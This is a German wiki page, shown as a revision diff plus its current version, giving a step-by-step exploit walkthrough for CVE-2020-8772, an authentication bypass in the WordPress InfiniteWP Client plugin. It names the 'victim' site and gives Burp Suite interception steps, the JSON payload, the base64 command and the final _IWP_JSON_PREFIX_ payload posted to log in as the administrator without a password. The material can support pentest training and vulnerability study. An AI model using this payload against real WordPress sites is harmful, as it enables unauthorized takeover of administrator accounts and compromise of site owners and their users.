Authentication Bypass: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Mario.zimmermann (Diskussion | Beiträge)
Keine Bearbeitungszusammenfassung
Zeile 1: Zeile 1:
=CVE=
=Anforderungen um diesen Hack auszuführen=
*CVE-2020-8772
*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website dieses Plugin besitzt, kann man mit z.b [[https://xinux.net/index.php/Wpscan]] herausfinden)
=Vorbermerkung=
*Dem Angreifer muss bekannt sein, wie der Username des Admins lautet.
*Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
*Eine Möglichkeit den Payload an die Website zu senden besteht z.b mittels der Burp Suite.
*Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
;Achtung: Das Plugin kann auch in der Version < 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.
*Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
*Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
*(in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
*Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
*DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.
=Beispiel=
=Beispiel=
[[Datei:Wp-hack.png]]
[[Datei:Wp-hack.png]]


=Request=
=Vorgehen=
*Laden Sie die Zielwebsite neu und fangen Sie die Anfrage mit der Burp Suite ab.
*Starten der Burp-Suite
*Klicken Sie mit der rechten Maustaste auf die Burp Suite und klicken Sie auf „Anfragemethode ändern“, um die Anfrage von GET in POST umzuwandeln.
*Navigation zu der Registrierkarte "proxy"
*Öffnen des Navigationpunktes "Intercept"
*Navigationpunkte "Intercept" auf "on" stellen
*Mit dem daraufhin geöffneten Burp-Suite Browsers, zu der Opfer Wordpress Seite navigieren




[[Datei:Authentication-Bypass-Wordpress.png|900px]]
[[Datei:Authentication-Bypass-Wordpress.png|900px]]


=Payload=
==Erstellung des Payloads==
*Erstellen Sie die JSON Payload und konvertieren Sie sie in base64.
*Benötigte Parameter zur Generierung des Payloads.
 
  {"iwp_action":"add_site","params":{"username":"admin"}}
  Payload: {"iwp_action":"add_site","params":{"username":"admin"}}
*Erstellen des ersten Teils des Payloads und Konvertieren in base64.
 
echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
*echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
-> eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
*Hängen Sie den base64 generierte Payload an die Zeichenfolge _IWP_JSON_PREFIX_ an.
*Erstellung des Payloads durch Anhängen des zuvor generierten base64 Strings an die Zeichenfolge _IWP_JSON_PREFIX_ .
 
  _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
  Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
*Umwandeln der Anfrage Methode von GET in POST (klicken der Rechten Maustaste in der Burp Suite und Auswahl des Menüpunktes „Anfragemethode ändern“)
 
*Platzieren Sie den Payload als POST Argumente in der Burp Suite unterhalb der POST Anfrage.
*Platzieren Sie den Payload als POST Argumente.
[[Datei:Authentication-Bypass-Wordpress2.png|900px]]
[[Datei:Authentication-Bypass-Wordpress2.png|900px]]
*Klicken Sie auf Forward und schalten Sie den Intercept aus.
*Klicken Sie auf Forward und schalten Sie "Intercept" aus.
*Jetzt müssen wir die Seite einmal neuladen.
*Neuladen der Opfer Website im Burp Suite Webbrowser.
 
 




=CVE=
*CVE-2020-8772
==Links==
==Links==
[https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass]
[https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass]

Version vom 26. Januar 2023, 17:01 Uhr

Anforderungen um diesen Hack auszuführen

  • Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website dieses Plugin besitzt, kann man mit z.b [[1]] herausfinden)
  • Dem Angreifer muss bekannt sein, wie der Username des Admins lautet.
  • Eine Möglichkeit den Payload an die Website zu senden besteht z.b mittels der Burp Suite.
Achtung
Das Plugin kann auch in der Version < 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.

Beispiel

Vorgehen

  • Starten der Burp-Suite
  • Navigation zu der Registrierkarte "proxy"
  • Öffnen des Navigationpunktes "Intercept"
  • Navigationpunkte "Intercept" auf "on" stellen
  • Mit dem daraufhin geöffneten Burp-Suite Browsers, zu der Opfer Wordpress Seite navigieren


Erstellung des Payloads

  • Benötigte Parameter zur Generierung des Payloads.
{"iwp_action":"add_site","params":{"username":"admin"}}
  • Erstellen des ersten Teils des Payloads und Konvertieren in base64.
echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
-> eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
  • Erstellung des Payloads durch Anhängen des zuvor generierten base64 Strings an die Zeichenfolge _IWP_JSON_PREFIX_ .
_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
  • Umwandeln der Anfrage Methode von GET in POST (klicken der Rechten Maustaste in der Burp Suite und Auswahl des Menüpunktes „Anfragemethode ändern“)
  • Platzieren Sie den Payload als POST Argumente in der Burp Suite unterhalb der POST Anfrage.

  • Klicken Sie auf Forward und schalten Sie "Intercept" aus.
  • Neuladen der Opfer Website im Burp Suite Webbrowser.


CVE

  • CVE-2020-8772

Links

Bypass